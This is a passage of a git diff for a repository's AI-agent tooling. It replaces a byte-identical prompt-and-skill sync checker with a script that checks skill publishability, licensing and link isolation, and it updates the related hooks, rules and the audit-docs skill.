counterpart is a prompt - * that was never written. This matches the `paths:` glob in the accompanying rule. + * Scoped to the named audits so that an unpaired skill, such as + * `typescript-code-and-test-standards`, is not told its counterpart is a prompt that was + * never written. */ -function counterpartOf(filePath: string): Counterpart | null { - // Resolved from this file's own location, as `check-prompt-skill-sync.mjs` does, so the - // existence test does not silently fail when the hook runs from another directory. +function counterpartOf(filePath: string): string | null { + // Resolved from this file's own location so the existence test does not silently fail + // when the hook runs from another directory. const repoRoot = resolve(import.meta.dirname, '..', '..'); const promptMatch = /\.github\/prompts\/([^/]+)\.prompt\.md$/.exec(filePath); @@ -46,12 +43,12 @@ function counterpartOf(filePath: string): Counterpart | null { const counterpart = `.claude/skills/${promptMatch[1]}/SKILL.md`; // A prompt with no skill yet is not half of a pair, and the checker skips it too. - return existsSync(join(repoRoot, counterpart)) ? { path: counterpart, direction: 'to-skill' } : null; + return existsSync(join(repoRoot, counterpart)) ? counterpart : null; } - const skillMatch = /\.claude\/skills\/(audit-[^/]+)\/SKILL\.md$/.exec(filePath); - if (skillMatch) { - return { path: `.github/prompts/${skillMatch[1]}.prompt.md`, direction: 'to-prompt' }; + const skillMatch = /\.claude\/skills\/([^/]+)\/SKILL\.md$/.exec(filePath); + if (skillMatch && PAIRED.includes(skillMatch[1])) { + return `.github/prompts/${skillMatch[1]}.prompt.md`; } return null; @@ -81,12 +78,12 @@ function main(): void { hookSpecificOutput: { hookEventName: 'PostToolUse', additionalContext: - `This file is one half of a mirrored pair. Its counterpart \`${counterpart.path}\` carries a ` + - 'byte-identical body below the frontmatter, and `make -f .claude/Makefile sync-prompts` reports while the two differ. ' + - `Mirror the edit before finishing: \`make -f .claude/Makefile sync-prompts-${counterpart.direction}\`, ` + - 'or run the `/sync-audit-prompts` skill. Only the frontmatter may differ between them, and the ' + - 'shared body must stay self-contained: no relative links and no reference to a sibling prompt, ' + - 'because each half is copied into other repositories on its own.', + `This file is one half of a published audit. Its counterpart \`${counterpart}\` must still ` + + 'aim at the same outcome: the two carry the same objective and the same hard rules, and only ' + + 'the skill half may carry bundled depth. That is a judgement rather than a diff, so hand both ' + + 'to the `prompt-skill-sync` subagent before finishing, and run ' + + '`make -f .claude/Makefile check-skills` for the mechanical rules. Each half is downloaded ' + + 'alone: the prompt may name nothing beside it, and the skill may name nothing outside itself.', }, }), ); diff --git a/.claude/hooks/validate-gate.mts b/.claude/hooks/validate-gate.mts index 1ea6bdcc..f87be909 100644 --- a/.claude/hooks/validate-gate.mts +++ b/.claude/hooks/validate-gate.mts @@ -99,9 +99,10 @@ function clearState(sessionId: string): void { * do reach most of it, and the exclusion accepts that gap rather than marking the session dirty * on every edit to a rule or skill file. * - * The mirrored `SKILL.md` files are the exception, because a desync there is worth catching. - * The prompt-and-skill sync check itself is not a gate; it runs on demand via - * `make -f .claude/Makefile sync-prompts`. + * Markdown under `.claude/skills/` is the exception. `lint:markdown` reaches every file there, + * so an unlinted addition would otherwise land locally and surface only as a CI failure. + * The skill publishability check itself is not a gate; it runs on demand via + * `make -f .claude/Makefile check-skills`. */ function requiresValidation(filePath: string, cwd: string): boolean { if (!filePath) return false; @@ -110,7 +111,7 @@ function requiresValidation(filePath: string, cwd: string): boolean { if (rel.startsWith('..')) return false; - if (/^\.claude\/skills\/audit-[^/]+\/SKILL\.md$/.test(rel)) return true; + if (/^\.claude\/skills\/.+\.md$/.test(rel)) return true; if (rel.startsWith('.claude/') || rel.includes('/.claude/')) return false; diff --git a/.claude/rules/docs-authoring.md b/.claude/rules/docs-authoring.md index 5eb83354..552330da 100644 --- a/.claude/rules/docs-authoring.md +++ b/.claude/rules/docs-authoring.md @@ -6,7 +6,7 @@ paths: # Documentation authoring -When creating or editing any markdown file, follow the discipline below. These are the always-apply rules distilled from [`.github/prompts/audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) (the canonical spec). To audit or sync `docs/` against the code as a whole, run the `/audit-docs` skill. +When creating or editing any markdown file, follow the discipline below. These are the always-apply rules distilled from the `audit-docs` audit, which ships as [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) and as the fuller [`audit-docs/SKILL.md`](../skills/audit-docs/SKILL.md), whose bundled references carry the operational detail. To audit `docs/` against the code as a whole, run the `/audit-docs` skill. ## Accuracy @@ -21,7 +21,7 @@ When creating or editing any markdown file, follow the discipline below. These a - **Canadian English (strong preference)** for prose you write or change: colour, behaviour, favour, centre, defence, and `-ize`/`-ization` (standardize, organization). See the [Canadian spelling guide](https://our-languages.canada.ca/en/blogue-blog/canadian-spelling-eng). Don't retroactively convert existing prose, and never change code identifiers, config/JSON keys, quoted code, file/package names, or CSS properties (`background_color`, `themeColor`). - **No subjective adjectives** in new prose (important, critical, robust, seamless, powerful, efficient, etc.). State facts. Objective is not robotic, though: replace the adjective with the concrete cited fact that earns it (show, don't tell). - Use prose for reasoning (the _why_ and _how the system uses it_), not line-by-line narration; reserve bullets and numbered lists for genuine enumerations (steps, options, fields). Don't force explanation into parallel bullet fragments, and don't de-list a real list. Lead each paragraph with its point. -- **Voice (new or changed prose only).** Read as a careful human wrote it: lead with the point, vary sentence length where natural, and cut AI tells (signposting previews, puffery copulas like "serves as" / "is a testament to", rule-of-three by default, filler transitions, formulaic conclusions). Stay formal and neutral (no contractions). Full list and scope: the **Voice** section of the [canonical prompt](../../.github/prompts/audit-docs.prompt.md). +- **Voice (new or changed prose only).** Read as a careful human wrote it: lead with the point, vary sentence length where natural, and cut AI tells (signposting previews, puffery copulas like "serves as" / "is a testament to", rule-of-three by default, filler transitions, formulaic conclusions). Stay formal and neutral (no contractions). Full list and scope: the **Voice** section of [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md), with worked before-and-after pairs in [`voice-and-ai-tells.md`](../skills/audit-docs/references/voice-and-ai-tells.md). - Document a tunable value by the **name a consumer changes it by** (env var, config key, CLI flag, or a named member of a centralized constants/config module that other code reads), judging by role, not location. Don't document an ephemeral local variable as the config surface. - **Acronyms** in prose you write or edit use capitals (ID, URL) and are expanded on first use per doc ("Deoxyribonucleic acid (DNA)"). Keep exact casing for brand/tool/package names (npm, iOS), domain terms (snRNA), and direct code references (an `id` field). - No placeholders, TODOs, or empty "add details here" sections. diff --git a/.claude/rules/prompt-skill-sync.md b/.claude/rules/prompt-skill-sync.md index 0217d4c3..490a6441 100644 --- a/.claude/rules/prompt-skill-sync.md +++ b/.claude/rules/prompt-skill-sync.md @@ -1,49 +1,75 @@ --- paths: - '.github/prompts/*.prompt.md' - - '.claude/skills/audit-*/SKILL.md' + - '.claude/skills/*/SKILL.md' + - '.claude/skills/*/references/*.md' + - '.claude/skills/*/agents/*.md' + - '.claude/skills/*/assets/*.md' --- -# Prompt and skill mirroring +# Published skills and their prompt halves -Each audit prompt ships twice, and the two copies carry a **byte-identical body below the frontmatter**: +Three audits ship twice, once as a skill directory and once as a single prompt file: -| Prompt, for GitHub Copilot | Skill, for Claude Code and other agents | -| -------------------------------------------------------------------------- | ------------------------------------------------------------ | -| [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) | [`audit-docs/SKILL.md`](../skills/audit-docs/SKILL.md) | -| [`audit-pr.prompt.md`](../../.github/prompts/audit-pr.prompt.md) | [`audit-pr/SKILL.md`](../skills/audit-pr/SKILL.md) | -| [`audit-quality.prompt.md`](../../.github/prompts/audit-quality.prompt.md) | [`audit-quality/SKILL.md`](../skills/audit-quality/SKILL.md) | +| Prompt, for an agent that reads prompt files | Skill, for an agent that reads the Agent Skills format | +| -------------------------------------------------------------------------- | ------------------------------------------------------ | +| [`audit-docs.prompt.md`](../../.github/prompts/audit-docs.prompt.md) | [`audit-docs/`](../skills/audit-docs/SKILL.md) | +| [`audit-pr.prompt.md`](../../.github/prompts/audit-pr.prompt.md) | [`audit-pr/`](../skills/audit-pr/SKILL.md) | +| [`audit-quality.prompt.md`](../../.github/prompts/audit-quality.prompt.md) | [`audit-quality/`](../skills/audit-quality/SKILL.md) | -Only the frontmatter differs: the prompt carries Copilot's keys (`description`, `name`, `argument-hint`, `agent`), the skill carries the Agent Skills keys (`name`, `description`, `argument-hint`). +Two audiences drive this. Someone whose employer allows a single file in the repository takes the prompt. Someone who can install a directory takes the skill, and gets the bundled `references/`, `agents/`, and `assets/` with it. -**Frontmatter is deliberately never synced, so it drifts silently.** The checker compares bodies only, because the two halves need different keys. A change to what a `description` or `argument-hint` claims must therefore be made on **both** halves by hand. This matters most for a claim about behaviour: the skill's `description` is loaded at startup and drives automatic invocation, so a stale one pushes against the body it introduces. +## The contract: same objective, not same bytes -## Edit one, mirror the other before finishing +**Both halves aim at the same outcome. The skill may carry more capability to reach it.** -Run the propagation in the direction you edited, then confirm: +A reader of either half should be able to run the audit and get the same kind of result, held to the same rules, producing the same shape of report. What the skill adds is depth a single file cannot carry: reference material loaded on demand, subagents, and templates. -```bash -make -f .claude/Makefile sync-prompts-to-skill # you edited the prompt -make -f .claude/Makefile sync-prompts-to-prompt # you edited the skill -make -f .claude/Makefile sync-prompts # confirm, exits 0 when in sync -``` +What must never differ: -The direction is never inferred, because guessing it would overwrite the side you just edited. +- **A hard rule.** If one half forbids something, so does the other. A rule that exists in the skill and not the prompt is a silent downgrade for every prompt reader. +- **The scope resolution**, the evidence standard, and the output format. +- **The objective.** Both halves describe the same job. -The check is deliberately **not** part of `npm run validate`. The repository must build, test, and lint with no agent tooling present, so nothing in the main gate may invoke anything under `.claude/`. The `Makefile` is the entry point instead, and it degrades to a no-op when the tooling is absent. +What may differ: -## The shared body must stay self-contained +- **Bundled depth.** Only the skill can point at `references/`, `agents/`, or `assets/`. +- **Fallback instructions for an agent that resolves less automatically.** The skill half of `audit-docs` carries a context-resolution table the prompt does not need. +- **Frontmatter**, which was never shared. The prompt carries the prompt-file keys; the skill carries the Agent Skills keys. -Both halves are copied into other people's repositories on their own: personal and open-source adopters install the skill, and corporate adopters who cannot clone copy the single prompt file. Neither can reach anything this repository has. +**This is a judgement, not a diff.** Nothing decides it mechanically, so after editing either half, hand both to the `prompt-skill-sync` subagent and read its verdict rather than assuming. -So the shared body must never contain: +## Each half is downloaded alone -- **A relative link.** A copied file resolves none of them, and `./audit-pr.prompt.md` does not resolve from a skill directory anyway. Use a code span for a file reference, which the documentation rules already permit where no particular file is meant. -- **A reference to a sibling prompt.** A reader may hold only one of the three. Each body describes its own job and nothing else. -- **Anything specific to this repository:** a command from `package.json`, a path from `src/`, or a convention only this project follows. +Whichever half someone takes is the only thing they get. Four rules follow. -Repository-specific procedure belongs in [`CLAUDE.md`](../../CLAUDE.md) or a rules file, never in a mirrored body. +- **A skill never names a prompt.** No `.prompt.md`, no `.github/prompts/`. The adopter has no such file. This includes the `description`, which loads at startup on every run. +- **A prompt never names a skill or anything beside it.** No `SKILL.md`, no `references/`, no `.claude/`, and no link to a real file in this repository. It is one file in a repository that has no directory for it. +- **A skill may name its own bundled files**, because they travel with it. This is what the skill format is for. +- **Neither half names a sibling audit or this repository.** A reader may hold exactly one of the three, and knows nothing of where it came from. + +An illustrative link, such as `[config.py](../src/config.py)` inside an example teaching the citation format, is not a real link and is allowed. The test is whether the target exists here: if it does, the author linked to something real and it will break. + +`make -f .claude/Makefile check-skills` enforces every rule in this section, plus the specification itself: `name` matching the directory, `description` within its character limit, a body under 500 lines, a licence on every published skill, and every bundled path resolving. It is deliberately **not** part of `npm run validate`, because the repository must build, test, and lint with no agent tooling present. + +## The three states + +Every skill is in exactly one, and [`check-skill-publishability.mjs`](../scripts/check-skill-publishability.mjs) prints which. + +- **Published**, listed in that script's `PUBLISHED` array: used outside this repository, so **codebase-agnostic** (no path, script name, framework, or convention from here) and **language-agnostic**, except `typescript-code-and-test-standards`, whose subject is the language. Where an example needs a language, vary it across examples so no single one reads as required. +- **Installable**: an installer can offer it, but it is not held to the agnosticism bar. +- **Internal**: carries `metadata: internal: true`, which hides it from `npx skills` discovery and from installation unless `INSTALL_INTERNAL_SKILLS=1` is set. + +**Anything an installer can offer carries a licence**, meaning both a `license` frontmatter key and a `LICENSE.txt` in the directory, because a copied directory is the whole of what the recipient gets. Only an internal skill is exempt, and only because nobody receives it. + +There is no `public` marker, because public is the absence of `internal`, and the Agent Skills specification defines no visibility field at all. `metadata` is its designated free-form map, and `internal` is the one key an installer actually reads. Note that `gh skill` documents no visibility concept, so `metadata.internal` may not hide anything from it; repository visibility is the only lever there. + +**Nothing is vendored into this repository.** A third-party skill is fetched when wanted with `npx skills add / --skill `, rather than copied in and then maintained. + +## Frontmatter must parse as YAML + +A `description` is usually the longest value in the file and the one most likely to contain a colon. An unquoted plain scalar may not contain a colon followed by a space, so a description reading `standards linters cannot catch: comment discipline` makes the whole document unparseable, and a host that uses a real YAML parser cannot load the skill at all. Quote any value containing `": "`. The check catches this class, because the script reads frontmatter with a regex that would otherwise accept what a parser rejects. ## Adding a new pair -The checker pairs files by name automatically: `.github/prompts/.prompt.md` with `.claude/skills//SKILL.md`. Create the skill with its frontmatter and any placeholder body, then run `--fix=to-skill`. A prompt with no matching skill directory is skipped rather than reported, so the pair only starts being enforced once both halves exist. +Create `.github/prompts/.prompt.md` and `.claude/skills//SKILL.md`, write both, then run the check. Add the name to `PUBLISHED` in the script only when it is meant for people outside this repository, since that list is what turns on the isolation and licensing rules. diff --git a/.claude/rules/repo-independence.md b/.claude/rules/repo-independence.md index 75fc5528..15e37036 100644 --- a/.claude/rules/repo-independence.md +++ b/.claude/rules/repo-independence.md @@ -33,7 +33,7 @@ That includes indirect reliance: a script that shells out to a file there, a con - `eslint.config.js` listing `.claude/**/*` under `ignores` - `tsconfig.json` listing `.claude` under `exclude` -- `.prettierignore` naming the vendored `.claude/skills/skill-creator/` +- `.prettierignore` naming a directory under `.claude/` that a formatter must not rewrite - `.markdownlint-cli2.jsonc` naming it under `ignores` ## Where agent tooling gets an entry point diff --git a/.claude/scripts/check-prompt-skill-sync.mjs b/.claude/scripts/check-prompt-skill-sync.mjs deleted file mode 100644 index 5967b082..00000000 --- a/.claude/scripts/check-prompt-skill-sync.mjs +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env node -// Checks that each `.github/prompts/.prompt.md` and its mirror -// `.claude/skills//SKILL.md` carry a byte-identical body below the -// frontmatter. Only the frontmatter differs: the prompt carries Copilot's -// keys, the skill carries the Agent Skills keys. -// -// Run with no arguments to check. Reports every divergent pair, then exits 1 if any diverged. -// `--fix=to-skill` copies each prompt body onto its skill, keeping the -// skill's own frontmatter. `--fix=to-prompt` does the reverse. The direction -// is never inferred, because guessing it would overwrite the edited side. -import { existsSync, readFileSync, readdirSync, writeFileSync } from 'fs'; -import { dirname, join, resolve } from 'path'; -import { fileURLToPath } from 'url'; - -const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..', '..'); -const PROMPT_DIR = join(REPO_ROOT, '.github', 'prompts'); -const SKILL_DIR = join(REPO_ROOT, '.claude', 'skills'); - -/** Splits a Markdown file into its frontmatter block and the body beneath it. */ -function split(text, path) { - const match = /^---\r?\n[\s\S]*?\r?\n---\r?\n/.exec(text); - - if (!match) { - throw new Error(`${path} has no frontmatter block`); - } - - return { frontmatter: match[0], body: text.slice(match[0].length) }; -} - -/** Returns every prompt paired with the skill that mirrors it. */ -function pairs() { - if (!existsSync(PROMPT_DIR)) { - return []; - } - - return readdirSync(PROMPT_DIR) - .filter((file) => file.endsWith('.prompt.md')) - .map((file) => { - const name = file.slice(0, -'.prompt.md'.length); - - return { name, promptPath: join(PROMPT_DIR, file), skillPath: join(SKILL_DIR, name, 'SKILL.md') }; - }) - .filter((pair) => existsSync(pair.skillPath)); -} - -/** Reports the first line where two bodies diverge, as a one-based line number. */ -function firstDifference(a, b) { - const left = a.split('\n'); - const right = b.split('\n'); - - for (let i = 0; i < Math.max(left.length, right.length); i++) { - if (left[i] !== right[i]) { - return { line: i + 1, left: left[i] ?? '(end of file)', right: right[i] ?? '(end of file)' }; - } - } - - return null; -} - -const fixArg = process.argv.find((arg) => arg.startsWith('--fix=')); -const direction = fixArg ? fixArg.slice('--fix='.length) : null; - -if (direction && direction !== 'to-skill' && direction !== 'to-prompt') { - console.error(`Unknown direction "${direction}". Use --fix=to-skill or --fix=to-prompt.`); - process.exit(2); -} - -const found = pairs(); - -if (found.length === 0) { - console.log('No prompt and skill pairs found. Nothing to check.'); - process.exit(0); -} - -let diverged = 0; - -for (const { name, promptPath, skillPath } of found) { - const prompt = split(readFileSync(promptPath, 'utf8'), promptPath); - const skill = split(readFileSync(skillPath, 'utf8'), skillPath); - - if (prompt.body === skill.body) { - if (!direction) { - console.log(`ok ${name}`); - } - - continue; - } - - if (direction === 'to-skill') { - writeFileSync(skillPath, skill.frontmatter + prompt.body); - console.log(`sync ${name}: prompt body copied onto the skill`); - - continue; - } - - if (direction === 'to-prompt') { - writeFileSync(promptPath, prompt.frontmatter + skill.body); - console.log(`sync ${name}: skill body copied onto the prompt`); - - continue; - } - - const diff = firstDifference(prompt.body, skill.body); - console.error(`FAIL ${name}: bodies differ at body line ${diff.line}`); - console.error(` prompt: ${diff.left}`); - console.error(` skill: ${diff.right}`); - diverged++; -} - -if (diverged > 0) { - console.error( - `\n${diverged} pair(s) out of sync. Edit one side, then run one of:\n` + - ' make -f .claude/Makefile sync-prompts-to-skill\n' + - ' make -f .claude/Makefile sync-prompts-to-prompt', - ); - process.exit(1); -} - -if (!direction) { - console.log(`All ${found.length} prompt and skill pairs are in sync.`); -} diff --git a/.claude/scripts/check-skill-publishability.mjs b/.claude/scripts/check-skill-publishability.mjs new file mode 100644 index 00000000..75c3929a --- /dev/null +++ b/.claude/scripts/check-skill-publishability.mjs @@ -0,0 +1,294 @@ +#!/usr/bin/env node +// Checks that every skill under `.claude/skills/` is valid against the Agent Skills +// specification, and that each half of a published pair still works when it is the only +// thing someone has. +// +// The two halves of a pair carry the same objective, not the same bytes: a skill may bundle +// `references/`, `agents/`, and `assets/` that a single prompt file cannot. Whether they still +// aim at the same outcome is a judgement, so it belongs to the `prompt-skill-sync` subagent. +// What is left here is what a machine can decide. +// +// Run with no arguments. Reports every failure, then exits 1 if there were any. +import { existsSync, readFileSync, readdirSync, statSync } from 'fs'; +import { dirname, join, resolve } from 'path'; +import { fileURLToPath } from 'url'; + +const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..', '..'); +const PROMPT_DIR = join(REPO_ROOT, '.github', 'prompts'); +const SKILL_DIR = join(REPO_ROOT, '.claude', 'skills'); + +/** + * Skills published for use outside this repository. Only these are held to the agnosticism + * bar, because a skill written for this repository alone may name this repository's paths. + * + * Every other skill is either `installable`, meaning an installer can offer it and it must + * therefore carry a licence, or `internal`, meaning `metadata.internal: true` hides it from + * discovery. Naming the middle state is the point: a skill that is nothing in particular + * drifts into being offered to strangers with no licence attached. + */ +const PUBLISHED = ['audit-docs', 'audit-pr', 'typescript-code-and-test-standards']; + +/** The spec caps the body at 500 lines; longer belongs in `references/`. */ +const MAX_BODY_LINES = 500; + +/** The spec caps `description` at 1024 characters, because it loads at startup. */ +const MAX_DESCRIPTION = 1024; + +/** Directories a skill may bundle, per the Agent Skills specification. */ +const BUNDLE_DIRS = ['references', 'agents', 'assets', 'scripts']; + +const failures = []; + +/** Records one failure against a file. */ +function fail(file, message) { + failures.push({ file, message }); +} + +/** Splits a Markdown file into its frontmatter block and the body beneath it. */ +function split(text) { + const match = /^---\r?\n[\s\S]*?\r?\n---\r?\n/.exec(text); + + if (!match) { + return null; + } + + return { frontmatter: match[0], body: text.slice(match[0].length) }; +} + +/** Reads one top-level scalar key out of a frontmatter block, unquoted. */ +function frontmatterValue(frontmatter, key) { + const match = new RegExp(`^${key}:[ \\t]*(.*)$`, 'm').exec(frontmatter); + + if (!match) { + return null; + } + + return match[1].trim().replace(/^['"]|['"]$/g, ''); +} + +/** Whether a nested `metadata: internal: true` is set, which hides the skill from installers. */ +function isInternal(frontmatter) { + return /^metadata:\s*$[\s\S]*?^\s+internal:[ \t]*true\s*$/m.test(frontmatter); +} + +/** + * Frontmatter keys whose value is an unquoted plain scalar containing a colon followed by a + * space, which YAML forbids. + * + * This is checked rather than parsed because the script carries no dependencies, and it is + * checked at all because a regex reader like the one above happily returns a value that a + * real YAML parser refuses to produce. A skill whose frontmatter does not parse cannot be + * loaded by a host that uses a parser, and nothing else here would notice. + */ +function unparseableScalars(frontmatter) { + return frontmatter + .split('\n') + .filter((line) => /^[a-z-]+:[ \t]+[^'"[{\s]/i.test(line)) + .filter((line) => /:\s/.test(line.slice(line.indexOf(':') + 1))) + .map((line) => line.slice(0, line.indexOf(':'))); +} + +/** + * Every bundled file a Markdown body points at, whether as a link or as a code span. + * + * Only bundle directories count. These bodies also carry illustrative links such as + * `../src/config.py`, which demonstrate the citation format rather than pointing at anything, + * and treating those as broken references would fail the very examples that teach the rule. + */ +function referencedPaths(body) { + const found = new Set(); + + for (const [, target] of body.matchAll(/\]\(((?:references|agents|assets|scripts)\/[^)\s]+)\)/g)) { + found.add(target.split('#')[0]); + } + + for (const [, target] of body.matchAll(/`((?:references|agents|assets|scripts)\/[^`\s]+)`/g)) { + found.add(target); + } + + return [...found].filter(Boolean); +} + +/** Checks one skill directory against the specification, and against isolation when published. */ +function checkSkill(name) { + const skillPath = join(SKILL_DIR, name, 'SKILL.md'); + const label = `.claude/skills/${name}/SKILL.md`; + + if (!existsSync(skillPath)) { + fail(label, 'no SKILL.md'); + + return; + } + + const text = readFileSync(skillPath, 'utf8'); + const parts = split(text); + + if (!parts) { + fail(label, 'no frontmatter block'); + + return; + } + + const declared = frontmatterValue(parts.frontmatter, 'name'); + const description = frontmatterValue(parts.frontmatter, 'description'); + + if (declared !== name) { + fail(label, `frontmatter name "${declared}" does not match the directory name "${name}"`); + } + + if (declared && !/^[a-z0-9]+(-[a-z0-9]+)*$/.test(declared)) { + fail(label, `name "${declared}" must be lowercase alphanumeric with single separating hyphens`); + } + + if (declared && declared.length > 64) { + fail(label, `name is ${declared.length} characters, over the 64 the specification allows`); + } + + if (!description) { + fail(label, 'no description, which is how an agent decides when to use the skill'); + } else if (description.length > MAX_DESCRIPTION) { + fail(label, `description is ${description.length} characters, over the ${MAX_DESCRIPTION} allowed`); + } + + const bodyLines = parts.body.split('\n').length; + + if (bodyLines > MAX_BODY_LINES) { + fail(label, `body is ${bodyLines} lines, over ${MAX_BODY_LINES}; move detail into references/`); + } + + for (const key of unparseableScalars(parts.frontmatter)) { + fail(label, `\`${key}\` is an unquoted scalar containing ": ", so the frontmatter does not parse as YAML`); + } + + for (const target of referencedPaths(parts.body)) { + if (!existsSync(join(SKILL_DIR, name, target))) { + fail(label, `references "${target}", which does not exist in the skill directory`); + } + } + + // An internal skill is hidden from installers, so nobody receives it and the rules below + // about what a recipient gets do not apply. + if (isInternal(parts.frontmatter)) { + return; + } + + if (!frontmatterValue(parts.frontmatter, 'license')) { + fail(label, 'an installer can offer this skill, so it needs a license key or metadata.internal'); + } + + if (!existsSync(join(SKILL_DIR, name, 'LICENSE.txt'))) { + fail(label, 'an installer can offer this skill, so it needs a LICENSE.txt beside it'); + } + + for (const file of skillFiles(name)) { + const contents = readFileSync(join(SKILL_DIR, name, file), 'utf8'); + + if (/\.prompt\.md|\.github\/prompts/.test(contents)) { + fail(`.claude/skills/${name}/${file}`, 'names a prompt file, which a downloaded skill will not have'); + } + } +} + +/** Every Markdown file inside a skill, one level of bundle directory deep. */ +function skillFiles(name) { + const root = join(SKILL_DIR, name); + const files = readdirSync(root).filter((file) => file.endsWith('.md')); + + for (const dir of BUNDLE_DIRS) { + if (!existsSync(join(root, dir))) { + continue; + } + + files.push(...readdirSync(join(root, dir)).map((file) => `${dir}/${file}`)); + } + + return files; +} + +/** Checks that a prompt still works as the only file someone holds. */ +function checkPrompt(file) { + const label = `.github/prompts/${file}`; + const parts = split(readFileSync(join(PROMPT_DIR, file), 'utf8')); + + if (!parts) { + fail(label, 'no frontmatter block'); + + return; + } + + // A relative link fails only when its target actually exists here. That is the tell that the + // author linked to a real file, which will not travel with the copied prompt. A target that + // resolves to nothing is an illustration of the citation format, and those are the point. + for (const [, target] of parts.body.matchAll(/\]\(([^)\s]+)\)/g)) { + if (/^(https?:|#|mailto:)/.test(target)) { + continue; + } + + if (existsSync(resolve(PROMPT_DIR, target.split('#')[0]))) { + fail(label, `links to "${target}", a real file that will not travel with a copied prompt`); + } + } + + for (const dir of BUNDLE_DIRS) { + if (new RegExp(`\`${dir}/`).test(parts.body)) { + fail(label, `names "${dir}/", which does not travel with a copied single file`); + } + } + + if (/SKILL\.md|\.claude\//.test(parts.body)) { + fail(label, 'names the skill half, which a prompt reader will not have'); + } +} + +const skills = existsSync(SKILL_DIR) + ? readdirSync(SKILL_DIR).filter((entry) => statSync(join(SKILL_DIR, entry)).isDirectory()) + : []; + +const prompts = existsSync(PROMPT_DIR) ? readdirSync(PROMPT_DIR).filter((file) => file.endsWith('.prompt.md')) : []; + +if (skills.length === 0 && prompts.length === 0) { + console.log('No skills or prompts found. Nothing to check.'); + process.exit(0); +} + +skills.forEach(checkSkill); +prompts.forEach(checkPrompt); + +/** Which of the three states a skill is in, for the report. */ +function state(name) { + const text = readFileSync(join(SKILL_DIR, name, 'SKILL.md'), 'utf8'); + const parts = split(text); + + if (parts && isInternal(parts.frontmatter)) { + return 'internal'; + } + + return PUBLISHED.includes(name) ? 'published' : 'installable'; +} + +for (const name of skills) { + if (!failures.some((entry) => entry.file.includes(`/skills/${name}/`))) { + console.log(`ok ${name.padEnd(36)} ${state(name)}`); + } +} + +if (failures.length > 0) { + console.error(''); + + for (const { file, message } of failures) { + console.error(`FAIL ${file}: ${message}`); + } + + console.error( + `\n${failures.length} problem(s). Each half is downloaded on its own, so a prompt may name ` + + 'nothing beside it and a skill may name nothing outside itself.', + ); + process.exit(1); +} + +const counts = skills.reduce((tally, name) => ({ ...tally, [state(name)]: (tally[state(name)] ?? 0) + 1 }), {}); + +console.log( + `\nChecked ${skills.length} skill(s) and ${prompts.length} prompt(s): ` + + `${counts.published ?? 0} published, ${counts.installable ?? 0} installable, ${counts.internal ?? 0} internal.`, +); diff --git a/.claude/skills/audit-docs/LICENSE.txt b/.claude/skills/audit-docs/LICENSE.txt new file mode 100644 index 00000000..7a0e6342 --- /dev/null +++ b/.claude/skills/audit-docs/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021-2026 Alexander Joo-Hyun Sullivan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.claude/skills/audit-docs/SKILL.md b/.claude/skills/audit-docs/SKILL.md index a1b27b90..94673e66 100644 --- a/.claude/skills/audit-docs/SKILL.md +++ b/.claude/skills/audit-docs/SKILL.md @@ -1,12 +1,13 @@ --- name: audit-docs -description: Audit and update the project's documentation so it matches the current code, grounding every claim in a file opened this run. Use when creating or editing Markdown or docs, after implementing a feature, before merging a pull request, or whenever asked to audit, sync, fact-check, or refresh documentation. Body mirrors `.github/prompts/audit-docs.prompt.md` byte for byte. +description: Audit and update the project's documentation so it matches the current code, grounding every claim in a file opened this run. Use when creating or editing Markdown or docs, after implementing a feature, before merging a pull request, or whenever asked to audit, sync, fact-check, or refresh documentation. +license: MIT argument-hint: '[paths or area to audit; defaults to the active pull request or working changes]' --- ## Role & Purpose -Act as a **Strictly Factual Technical Writer and Auditor**. Make the `docs/` directory an objective, verifiable reflection of the current #codebase. Write and correct documentation so `docs/` matches the #codebase, #activePullRequest, or #changes. Being strictly factual does not mean sounding machine-generated: write the way a careful human technical writer would, applying the **Voice** guidance in section 3. +Act as a **Strictly Factual Technical Writer and Auditor**. Make the project's documentation directory, `docs/` below and whatever this project actually names it, an objective, verifiable reflection of the current #codebase. Write and correct documentation so `docs/` matches the #codebase, #activePullRequest, or #changes. Being strictly factual does not mean sounding machine-generated: write the way a careful human technical writer would, applying the **Voice** guidance in section 3. **Scope: documentation only.** Unless the invoking task explicitly asks for code or behaviour changes, this run edits documentation (markdown, text files, and in-code comments, docstrings, and file-level headers) and never changes executable code or behaviour. See Rule 1. @@ -20,6 +21,28 @@ Act as a **Strictly Factual Technical Writer and Auditor**. Make the `docs/` dir --- +## Context resolution + +Some agents resolve the references below automatically. Any agent that does not resolves each one itself, using the equivalent listed here, before starting. If a source is unavailable, say so in the output and continue with what is available. + +| Reference | What it refers to | Resolve it yourself with | +| -------------------- | --------------------------- | ----------------------------------------------------------------------- | +| `#codebase` | The project's own files | Your file-search and file-read tools | +| `#activePullRequest` | Active pull request | The forge's pull request command, or `git diff ...HEAD` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | + +## Bundled references + +Open one of these when the run needs its detail. Nothing here is loaded until you open it. + +- [`evidence-and-citation.md`](references/evidence-and-citation.md) - how to hold proof, which sources are not evidence, and the hallucination patterns each check catches. Read before Phase 2 or 3 on an unfamiliar codebase. 